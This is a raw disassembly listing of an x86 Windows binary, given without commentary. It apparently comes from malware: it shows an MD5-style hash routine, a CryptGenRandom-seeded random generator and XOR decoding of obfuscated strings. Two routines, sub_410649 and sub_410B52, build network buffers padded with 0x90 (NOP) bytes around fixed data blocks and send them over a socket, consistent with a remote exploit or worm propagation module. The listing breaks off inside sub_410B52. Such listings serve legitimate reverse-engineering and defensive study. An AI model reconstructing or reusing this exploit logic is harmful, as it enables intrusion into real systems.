add eax, [ebp+var_C]
mov [ebp+var_8], eax
mov eax, [ebp+var_10]
not eax
mov ecx, [ebp+var_8]
or ecx, eax
mov eax, [ebp+var_C]
xor eax, ecx
add eax, [ebp+var_20]
mov ecx, [ebp+var_4]
lea eax, [ecx+eax+655B59C3h]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
shl eax, 6
mov ecx, [ebp+var_4]
shr ecx, 1Ah
or eax, ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
not eax
mov ecx, [ebp+var_4]
or ecx, eax
mov eax, [ebp+var_8]
xor eax, ecx
add eax, [ebp+var_44]
mov ecx, [ebp+var_10]
lea eax, [ecx+eax-70F3336Eh]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
shl eax, 0Ah
mov ecx, [ebp+var_10]
shr ecx, 16h
or eax, ecx
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
add eax, [ebp+var_4]
mov [ebp+var_10], eax
mov eax, [ebp+var_8]
not eax
mov ecx, [ebp+var_10]
or ecx, eax
mov eax, [ebp+var_4]
xor eax, ecx
add eax, [ebp+var_28]
mov ecx, [ebp+var_C]
lea eax, [ecx+eax-100B83h]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
shl eax, 0Fh
mov ecx, [ebp+var_C]
shr ecx, 11h
or eax, ecx
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
add eax, [ebp+var_10]
mov [ebp+var_C], eax
mov eax, [ebp+var_4]
not eax
mov ecx, [ebp+var_C]
or ecx, eax
mov eax, [ebp+var_10]
xor eax, ecx
add eax, [ebp+var_4C]
mov ecx, [ebp+var_8]
lea eax, [ecx+eax-7A7BA22Fh]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
shl eax, 15h
mov ecx, [ebp+var_8]
shr ecx, 0Bh
or eax, ecx
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
add eax, [ebp+var_C]
mov [ebp+var_8], eax
mov eax, [ebp+var_10]
not eax
mov ecx, [ebp+var_8]
or ecx, eax
mov eax, [ebp+var_C]
xor eax, ecx
add eax, [ebp+var_30]
mov ecx, [ebp+var_4]
lea eax, [ecx+eax+6FA87E4Fh]
loc_41005C: ; DATA XREF: .data:off_41A8CCo
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
shl eax, 6
mov ecx, [ebp+var_4]
shr ecx, 1Ah
or eax, ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
not eax
mov ecx, [ebp+var_4]
or ecx, eax
mov eax, [ebp+var_8]
xor eax, ecx
add eax, [ebp+var_14]
mov ecx, [ebp+var_10]
lea eax, [ecx+eax-1D31920h]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
shl eax, 0Ah
mov ecx, [ebp+var_10]
shr ecx, 16h
or eax, ecx
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
add eax, [ebp+var_4]
mov [ebp+var_10], eax
mov eax, [ebp+var_8]
not eax
mov ecx, [ebp+var_10]
or ecx, eax
mov eax, [ebp+var_4]
xor eax, ecx
add eax, [ebp+var_38]
mov ecx, [ebp+var_C]
lea eax, [ecx+eax-5CFEBCECh]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
shl eax, 0Fh
mov ecx, [ebp+var_C]
shr ecx, 11h
or eax, ecx
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
add eax, [ebp+var_10]
mov [ebp+var_C], eax
mov eax, [ebp+var_4]
not eax
mov ecx, [ebp+var_C]
or ecx, eax
mov eax, [ebp+var_10]
xor eax, ecx
add eax, [ebp+var_1C]
mov ecx, [ebp+var_8]
lea eax, [ecx+eax+4E0811A1h]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
shl eax, 15h
mov ecx, [ebp+var_8]
shr ecx, 0Bh
or eax, ecx
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
add eax, [ebp+var_C]
mov [ebp+var_8], eax
mov eax, [ebp+var_10]
not eax
mov ecx, [ebp+var_8]
or ecx, eax
mov eax, [ebp+var_C]
xor eax, ecx
add eax, [ebp+var_40]
mov ecx, [ebp+var_4]
lea eax, [ecx+eax-8AC817Eh]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
shl eax, 6
mov ecx, [ebp+var_4]
shr ecx, 1Ah
or eax, ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
not eax
mov ecx, [ebp+var_4]
or ecx, eax
mov eax, [ebp+var_8]
xor eax, ecx
add eax, [ebp+var_24]
mov ecx, [ebp+var_10]
lea eax, [ecx+eax-42C50DCBh]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
shl eax, 0Ah
mov ecx, [ebp+var_10]
shr ecx, 16h
or eax, ecx
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
add eax, [ebp+var_4]
mov [ebp+var_10], eax
mov eax, [ebp+var_8]
not eax
mov ecx, [ebp+var_10]
or ecx, eax
mov eax, [ebp+var_4]
xor eax, ecx
add eax, [ebp+var_48]
mov ecx, [ebp+var_C]
lea eax, [ecx+eax+2AD7D2BBh]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
shl eax, 0Fh
mov ecx, [ebp+var_C]
shr ecx, 11h
or eax, ecx
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
add eax, [ebp+var_10]
mov [ebp+var_C], eax
mov eax, [ebp+var_4]
not eax
mov ecx, [ebp+var_C]
or ecx, eax
mov eax, [ebp+var_10]
xor eax, ecx
add eax, [ebp+var_2C]
mov ecx, [ebp+var_8]
lea eax, [ecx+eax-14792C6Fh]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
shl eax, 15h
mov ecx, [ebp+var_8]
shr ecx, 0Bh
or eax, ecx
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
add eax, [ebp+var_C]
mov [ebp+var_8], eax
mov eax, [ebp+arg_0]
mov eax, [eax]
add eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
mov [ecx], eax
mov eax, [ebp+arg_0]
mov eax, [eax+4]
add eax, [ebp+var_8]
mov ecx, [ebp+arg_0]
mov [ecx+4], eax
mov eax, [ebp+arg_0]
mov eax, [eax+8]
add eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
mov [ecx+8], eax
mov eax, [ebp+arg_0]
mov eax, [eax+0Ch]
add eax, [ebp+var_10]
mov ecx, [ebp+arg_0]
mov [ecx+0Ch], eax
leave
retn
sub_40F3CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410244 proc near ; CODE XREF: sub_40F3CE+Fp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
and [ebp+var_4], 0
and [ebp+var_8], 0
jmp short loc_410263
; ---------------------------------------------------------------------------
loc_410253: ; CODE XREF: sub_410244+66j
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
mov eax, [ebp+var_8]
add eax, 4
mov [ebp+var_8], eax
loc_410263: ; CODE XREF: sub_410244+Dj
mov eax, [ebp+var_8]
cmp eax, [ebp+arg_8]
jnb short locret_4102AC
mov eax, [ebp+arg_4]
add eax, [ebp+var_8]
movzx eax, byte ptr [eax]
mov ecx, [ebp+arg_4]
add ecx, [ebp+var_8]
movzx ecx, byte ptr [ecx+1]
shl ecx, 8
or eax, ecx
mov ecx, [ebp+arg_4]
add ecx, [ebp+var_8]
movzx ecx, byte ptr [ecx+2]
shl ecx, 10h
or eax, ecx
mov ecx, [ebp+arg_4]
add ecx, [ebp+var_8]
movzx ecx, byte ptr [ecx+3]
shl ecx, 18h
or eax, ecx
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_0]
mov [edx+ecx*4], eax
jmp short loc_410253
; ---------------------------------------------------------------------------
locret_4102AC: ; CODE XREF: sub_410244+25j
leave
retn
sub_410244 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4102AE proc near ; CODE XREF: .text:004168D0p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push 0F0000000h
push 1
push 0
push 0
lea eax, [ebp+var_4]
push eax
call ds:dword_417024 ; CryptAcquireContextA
push offset dword_41EADC
push 4
push [ebp+var_4]
call ds:dword_417020 ; CryptGenRandom
push offset dword_41EAE0
push 4
push [ebp+var_4]
call ds:dword_417020 ; CryptGenRandom
push offset dword_41EAE4
push 4
push [ebp+var_4]
call ds:dword_417020 ; CryptGenRandom
push offset dword_41EAE8
push 4
push [ebp+var_4]
call ds:dword_417020 ; CryptGenRandom
push 0
push [ebp+var_4]
call ds:dword_41701C ; CryptReleaseContext
leave
retn
sub_4102AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410318 proc near ; CODE XREF: sub_4103F5+6p
; sub_410422+6p ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
lock xadd dword_41EADC, eax
add eax, ebx
lock xadd dword_41EAE0, eax
add eax, ecx
lock xadd dword_41EAE4, eax
add eax, edx
lock xadd dword_41EAE8, eax
add eax, esi
lock xadd dword_41EADC, eax
add eax, edi
lock xadd dword_41EAE0, eax
add eax, ebp
lock xadd dword_41EAE4, eax
add eax, esp
lock xadd dword_41EAE8, eax
call sub_416B64 ; clock
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
lock xadd dword_41EADC, eax
lock xadd dword_41EAE0, eax
lock xadd dword_41EAE4, eax
lock xadd dword_41EAE8, eax
add ecx, ebx
ror ebx, cl
lock xadd dword_41EAE4, ebx
add ecx, ecx
ror ecx, cl
lock xadd dword_41EAE0, ecx
add ecx, edx
ror edx, cl
lock xadd dword_41EADC, edx
rol eax, cl
add ecx, eax
ror ebx, cl
add ecx, ebx
ror ecx, cl
add ecx, 211h
rol edx, cl
add ecx, edx
lock xadd dword_41EAE8, edx
lock xadd dword_41EAE4, ecx
lock xadd dword_41EAE0, ebx
lock xadd dword_41EADC, eax
pop edi
pop esi
pop ebx
leave
retn
sub_410318 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4103F5 proc near ; CODE XREF: sub_4020C2+10Bp
; sub_4040E8+2Dp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
push edi
call sub_410318
call sub_416B64 ; clock
lock xadd dword_41EAE8, eax
mov ecx, [ebp+arg_4]
sub ecx, [ebp+arg_0]
xor edx, edx
inc ecx
div ecx
mov eax, edx
add eax, [ebp+arg_0]
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4103F5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410422 proc near ; CODE XREF: sub_40CF2F:loc_40CFBCp
; sub_40D871+D3Fp ...
push ebp
mov ebp, esp
push ebx
push esi
push edi
call sub_410318
call sub_416B64 ; clock
lock xadd dword_41EAE8, eax
pop edi
pop esi
pop ebx
pop ebp
retn
sub_410422 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41043F proc near ; CODE XREF: sub_4055E5+715p
; sub_4055E5+78Bp
push ebp
mov ebp, esp
push ebx
push esi
push edi
call sub_410318
call sub_416B64 ; clock
lock xadd dword_41EAE4, eax
and eax, 0FFFFh
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41043F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410461 proc near ; CODE XREF: sub_4104A3+42p
; sub_4125DF:loc_4126B8p
push ebp
mov ebp, esp
push ebx
push esi
push edi
call sub_410318
call sub_416B64 ; clock
lock xadd dword_41EAE0, eax
and eax, 0FFh
pop edi
pop esi
pop ebx
pop ebp
retn
sub_410461 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410483 proc near ; CODE XREF: sub_4055E5+72Bp
; sub_40D7E5+57p
push ebp
mov ebp, esp
push ebx
push esi
push edi
call sub_410318
call sub_416B64 ; clock
lock xadd dword_41EADC, eax
and eax, 1
pop edi
pop esi
pop ebx
pop ebp
retn
sub_410483 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4104A3 proc near ; CODE XREF: sub_40A9CF+D4Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_4], 0
jnz short loc_4104AF
jmp short locret_4104FF
; ---------------------------------------------------------------------------
loc_4104AF: ; CODE XREF: sub_4104A3+8j
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_4104B5: ; CODE XREF: sub_4104A3+34j
cmp [ebp+arg_4], 3
jbe short loc_4104D9
call sub_410422
mov ecx, [ebp+var_4]
mov [ecx], eax
mov eax, [ebp+var_4]
add eax, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
sub eax, 4
mov [ebp+arg_4], eax
jmp short loc_4104B5
; ---------------------------------------------------------------------------
loc_4104D9: ; CODE XREF: sub_4104A3+16j
mov eax, [ebp+var_4]
mov [ebp+arg_0], eax
loc_4104DF: ; CODE XREF: sub_4104A3+5Aj
cmp [ebp+arg_4], 0
jbe short locret_4104FF
call sub_410461
mov ecx, [ebp+arg_0]
mov [ecx], al
mov eax, [ebp+arg_0]
inc eax
mov [ebp+arg_0], eax
mov eax, [ebp+arg_4]
dec eax
mov [ebp+arg_4], eax
jmp short loc_4104DF
; ---------------------------------------------------------------------------
locret_4104FF: ; CODE XREF: sub_4104A3+Aj
; sub_4104A3+40j
leave
retn
sub_4104A3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410501 proc near ; CODE XREF: sub_403260+36p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_4], 0
jnz short loc_410510
xor eax, eax
jmp short locret_41055D
; ---------------------------------------------------------------------------
loc_410510: ; CODE XREF: sub_410501+9j
cmp [ebp+arg_10], 0
jnz short loc_41051C
mov eax, [ebp+arg_4]
mov [ebp+arg_10], eax
loc_41051C: ; CODE XREF: sub_410501+13j
push [ebp+arg_10]
push [ebp+arg_4]
call sub_4103F5
pop ecx
pop ecx
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
mov [ebp+var_4], eax
loc_410532: ; CODE XREF: sub_410501+57j
cmp [ebp+var_4], 0
jbe short loc_41055A
push [ebp+arg_C]
push [ebp+arg_8]
call sub_4103F5
pop ecx
pop ecx
mov ecx, [ebp+arg_0]
mov [ecx], al
mov eax, [ebp+arg_0]
inc eax
mov [ebp+arg_0], eax
mov eax, [ebp+var_4]
dec eax
mov [ebp+var_4], eax
jmp short loc_410532
; ---------------------------------------------------------------------------
loc_41055A: ; CODE XREF: sub_410501+35j
mov eax, [ebp+var_8]
locret_41055D: ; CODE XREF: sub_410501+Dj
leave
retn
sub_410501 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41055F proc near ; CODE XREF: .text:004168E1p
var_58 = byte ptr -58h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 58h
push ebx
push esi
push edi
lea eax, [ebp+var_58]
push eax
call sub_40F11F
pop ecx
push [ebp+arg_4]
push [ebp+arg_0]
lea eax, [ebp+var_58]
push eax
call sub_40F159
add esp, 0Ch
lea eax, [ebp+var_58]
push eax
push offset byte_41EAF0
call sub_40F26E
pop ecx
pop ecx
lea esi, byte_41EAF0
mov edi, esi
push 10h
pop ecx
loc_41059F: ; CODE XREF: sub_41055F+47j
lodsb
or eax, 80h
stosb
loop loc_41059F
pop edi
pop esi
pop ebx
leave
retn
sub_41055F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4105AD proc near ; CODE XREF: sub_406E8E+C6p
; sub_406E8E+14Ap ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
movzx eax, byte ptr [eax]
cmp eax, 7Fh
jle short loc_4105BE
jmp short locret_4105F9
; ---------------------------------------------------------------------------
loc_4105BE: ; CODE XREF: sub_4105AD+Dj
and [ebp+var_4], 0
jmp short loc_4105CB
; ---------------------------------------------------------------------------
loc_4105C4: ; CODE XREF: sub_4105AD+4Aj
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_4105CB: ; CODE XREF: sub_4105AD+15j
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
test eax, eax
jz short locret_4105F9
mov eax, [ebp+var_4]
cdq
push 10h
pop ecx
idiv ecx
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
mov al, [eax]
xor al, byte_41EAF0[edx]
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_4]
mov [ecx], al
jmp short loc_4105C4
; ---------------------------------------------------------------------------
locret_4105F9: ; CODE XREF: sub_4105AD+Fj
; sub_4105AD+29j
leave
retn
sub_4105AD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4105FB proc near ; CODE XREF: sub_401000+4Ap
; sub_4043E9+1Ap ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
movzx eax, byte ptr [eax]
cmp eax, 7Fh
jg short loc_41060C
jmp short locret_410647
; ---------------------------------------------------------------------------
loc_41060C: ; CODE XREF: sub_4105FB+Dj
and [ebp+var_4], 0
jmp short loc_410619
; ---------------------------------------------------------------------------
loc_410612: ; CODE XREF: sub_4105FB+4Aj
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_410619: ; CODE XREF: sub_4105FB+15j
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
test eax, eax
jz short locret_410647
mov eax, [ebp+var_4]
cdq
push 10h
pop ecx
idiv ecx
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
mov al, [eax]
xor al, byte_41EAF0[edx]
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_4]
mov [ecx], al
jmp short loc_410612
; ---------------------------------------------------------------------------
locret_410647: ; CODE XREF: sub_4105FB+Fj
; sub_4105FB+29j
leave
retn
sub_4105FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410649 proc near ; DATA XREF: .data:off_41CCFEo
var_1B78 = dword ptr -1B78h
var_1B74 = byte ptr -1B74h
var_B74 = byte ptr -0B74h
var_B6C = dword ptr -0B6Ch
var_B64 = dword ptr -0B64h
var_374 = dword ptr -374h
var_370 = dword ptr -370h
var_36C = byte ptr -36Ch
var_280 = byte ptr -280h
var_276 = byte ptr -276h
var_272 = byte ptr -272h
var_23A = byte ptr -23Ah
var_236 = byte ptr -236h
var_232 = byte ptr -232h
var_204 = dword ptr -204h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1B78h
call sub_416BC0
push 48h
push offset dword_41A7B0
mov eax, [ebp+arg_0]
push dword ptr [eax+3Eh]
call sub_4053BF
add esp, 0Ch
push 0EA60h
mov eax, [ebp+arg_0]
push dword ptr [eax+3Eh]
call sub_40546E
pop ecx
pop ecx
test eax, eax
jnz short loc_410686
jmp locret_410B50
; ---------------------------------------------------------------------------
loc_410686: ; CODE XREF: sub_410649+36j
push 0
push 1000h
lea eax, [ebp+var_1B74]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+3Eh]
call ds:dword_417248 ; recv
push 7
push offset a__ ; "\r\n\\_/."
mov eax, [ebp+arg_0]
push dword ptr [eax+2Ah]
mov eax, [ebp+arg_0]
add eax, 146h
push eax
mov eax, [ebp+arg_0]
add eax, 0C6h
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+0C2h]
push 200h
lea eax, [ebp+var_200]
push eax
call sub_4125DF
add esp, 20h
mov [ebp+var_370], eax
cmp [ebp+var_370], 0
jnz short loc_4106F0
jmp locret_410B50
; ---------------------------------------------------------------------------
loc_4106F0: ; CODE XREF: sub_410649+A0j
and [ebp+var_374], 0
jmp short loc_410706
; ---------------------------------------------------------------------------
loc_4106F9: ; CODE XREF: sub_410649+E1j
mov eax, [ebp+var_374]
inc eax
mov [ebp+var_374], eax
loc_410706: ; CODE XREF: sub_410649+AEj
cmp [ebp+var_374], 168h
jge short loc_41072C
push 7Ah
push 61h
call sub_4103F5
pop ecx
pop ecx
mov ecx, [ebp+var_374]
mov [ebp+ecx+var_36C], al
jmp short loc_4106F9
; ---------------------------------------------------------------------------
loc_41072C: ; CODE XREF: sub_410649+C7j
push 0Ah
push offset dword_41A8A0
lea eax, [ebp+var_280]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push 2
push offset dword_41A8F0
lea eax, [ebp+var_276]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push 4
push offset dword_41A8E8
lea eax, [ebp+var_272]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push 2
push offset dword_41A8EC
lea eax, [ebp+var_23A]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push 4
push offset dword_41A8E4
lea eax, [ebp+var_236]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push 0Bh
push offset dword_41A894
lea eax, [ebp+var_232]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, 3E6h
sub eax, [ebp+var_370]
mov [ebp+var_204], eax
and [ebp+var_1B78], 0
push 18h
push offset dword_41A7FC
mov eax, [ebp+var_1B78]
lea eax, [ebp+eax+var_B74]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+var_1B78]
add eax, 18h
mov [ebp+var_1B78], eax
push 44h
push offset dword_41A818
mov eax, [ebp+var_1B78]
lea eax, [ebp+eax+var_B74]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+var_1B78]
add eax, 44h
mov [ebp+var_1B78], eax
push 20h
push 0FFFFFF90h
mov eax, [ebp+var_1B78]
lea eax, [ebp+eax+var_B74]
push eax
call sub_416B6A ; memset
add esp, 0Ch
mov eax, [ebp+var_1B78]
add eax, 20h
mov [ebp+var_1B78], eax
push 4
push offset dword_41A8AC
mov eax, [ebp+var_1B78]
lea eax, [ebp+eax+var_B74]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+var_1B78]
add eax, 4
mov [ebp+var_1B78], eax
push 4
push offset dword_41A8E0
mov eax, [ebp+var_1B78]
lea eax, [ebp+eax+var_B74]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+var_1B78]
add eax, 4
mov [ebp+var_1B78], eax
push 4
push offset dword_41A8D8
mov eax, [ebp+var_1B78]
lea eax, [ebp+eax+var_B74]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+var_1B78]
add eax, 4
mov [ebp+var_1B78], eax
push 4
push offset dword_41A8DC
mov eax, [ebp+var_1B78]
lea eax, [ebp+eax+var_B74]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+var_1B78]
add eax, 4
mov [ebp+var_1B78], eax
push 58h
push 0FFFFFF90h
mov eax, [ebp+var_1B78]
lea eax, [ebp+eax+var_B74]
push eax
call sub_416B6A ; memset
add esp, 0Ch
mov eax, [ebp+var_1B78]
add eax, 58h
mov [ebp+var_1B78], eax
push 6
push offset dword_41A8B4
mov eax, [ebp+var_1B78]
lea eax, [ebp+eax+var_B74]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+var_1B78]
add eax, 6
mov [ebp+var_1B78], eax
push 8
push 0FFFFFF90h
mov eax, [ebp+var_1B78]
lea eax, [ebp+eax+var_B74]
push eax
call sub_416B6A ; memset
add esp, 0Ch
mov eax, [ebp+var_1B78]
add eax, 8
mov [ebp+var_1B78], eax
push 4
push offset dword_41A8BC
mov eax, [ebp+var_1B78]
lea eax, [ebp+eax+var_B74]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+var_1B78]
add eax, 4
mov [ebp+var_1B78], eax
push 4
push 0FFFFFF90h
mov eax, [ebp+var_1B78]
lea eax, [ebp+eax+var_B74]
push eax
call sub_416B6A ; memset
add esp, 0Ch
mov eax, [ebp+var_1B78]
add eax, 4
mov [ebp+var_1B78], eax
push 6
push offset dword_41A8C4
mov eax, [ebp+var_1B78]
lea eax, [ebp+eax+var_B74]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+var_1B78]
add eax, 6
mov [ebp+var_1B78], eax
push [ebp+var_204]
push 0FFFFFF90h
mov eax, [ebp+var_1B78]
lea eax, [ebp+eax+var_B74]
push eax
call sub_416B6A ; memset
add esp, 0Ch
mov eax, [ebp+var_1B78]
add eax, [ebp+var_204]
mov [ebp+var_1B78], eax
push [ebp+var_370]
lea eax, [ebp+var_200]
push eax
mov eax, [ebp+var_1B78]
lea eax, [ebp+eax+var_B74]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+var_1B78]
add eax, [ebp+var_370]
mov [ebp+var_1B78], eax
push 168h
lea eax, [ebp+var_36C]
push eax
mov eax, [ebp+var_1B78]
lea eax, [ebp+eax+var_B74]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+var_1B78]
add eax, 168h
mov [ebp+var_1B78], eax
push 0Ah
push offset off_41A8CC
mov eax, [ebp+var_1B78]
lea eax, [ebp+eax+var_B74]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+var_1B78]
add eax, 0Ah
mov [ebp+var_1B78], eax
push 32h
push offset dword_41A860
mov eax, [ebp+var_1B78]
lea eax, [ebp+eax+var_B74]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+var_1B78]
add eax, 32h
mov [ebp+var_1B78], eax
mov eax, [ebp+var_1B78]
mov [ebp+var_B6C], eax
mov eax, [ebp+var_1B78]
sub eax, 18h
mov [ebp+var_B64], eax
push [ebp+var_1B78]
lea eax, [ebp+var_B74]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+3Eh]
call sub_4053BF
add esp, 0Ch
push 0EA60h
mov eax, [ebp+arg_0]
push dword ptr [eax+3Eh]
call sub_40546E
pop ecx
pop ecx
test eax, eax
jnz short loc_410B36
jmp short locret_410B50
; ---------------------------------------------------------------------------
loc_410B36: ; CODE XREF: sub_410649+4E9j
push 0
push 1000h
lea eax, [ebp+var_1B74]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+3Eh]
call ds:dword_417248 ; recv
locret_410B50: ; CODE XREF: sub_410649+38j
; sub_410649+A2j ...
leave
retn
sub_410649 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410B52 proc near ; DATA XREF: .data:0041CD38o
var_104C = byte ptr -104Ch
var_FC6 = byte ptr -0FC6h
var_BDE = byte ptr -0BDEh
var_B9E = byte ptr -0B9Eh
var_B7C = dword ptr -0B7Ch
var_B78 = byte ptr -0B78h
var_AF2 = byte ptr -0AF2h
var_88E = byte ptr -88Eh
var_882 = byte ptr -882h
var_85E = byte ptr -85Eh
var_852 = byte ptr -852h
var_82E = byte ptr -82Eh
var_80C = byte ptr -80Ch
var_7CC = byte ptr -7CCh
var_7C8 = byte ptr -7C8h
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_204 = byte ptr -204h
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 104Ch
call sub_416BC0
push 7
push offset a__ ; "\r\n\\_/."
mov eax, [ebp+arg_0]
push dword ptr [eax+2Ah]
mov eax, [ebp+arg_0]
add eax, 146h
push eax
mov eax, [ebp+arg_0]
add eax, 0C6h
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+0C2h]
push 200h
lea eax, [ebp+var_204]
push eax
call sub_4125DF
add esp, 20h
mov [ebp+var_20C], eax
cmp [ebp+var_20C], 0
jnz short loc_410BAF
jmp locret_410F5E
; ---------------------------------------------------------------------------
loc_410BAF: ; CODE XREF: sub_410B52+56j
push 89h
push offset dword_41AF50
mov eax, [ebp+arg_0]
push dword ptr [eax+3Eh]
call sub_4053BF
add esp, 0Ch
push 2710h
push 600h
lea eax, [ebp+var_80C]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+3Eh]
call sub_405443
add esp, 10h
test eax, eax
jnz short loc_410BEF
jmp locret_410F5E
; ---------------------------------------------------------------------------
loc_410BEF: ; CODE XREF: sub_410B52+96j
push 0A8h
push offset dword_41AFDC
mov eax, [ebp+arg_0]
push dword ptr [eax+3Eh]
call sub_4053BF
add esp, 0Ch
push 2710h
push 600h
lea eax, [ebp+var_80C]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+3Eh]
call sub_405443
add esp, 10h
test eax, eax
jnz short loc_410C2F
jmp locret_410F5E
; ---------------------------------------------------------------------------
loc_410C2F: ; CODE XREF: sub_410B52+D6j
push 0DEh
push offset dword_41B088
mov eax, [ebp+arg_0]
push dword ptr [eax+3Eh]
call sub_4053BF
add esp, 0Ch
push 2710h
push 600h
lea eax, [ebp+var_80C]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+3Eh]
call sub_405443
add esp, 10h
test eax, eax
jnz short loc_410C6F
jmp locret_410F5E
; ---------------------------------------------------------------------------
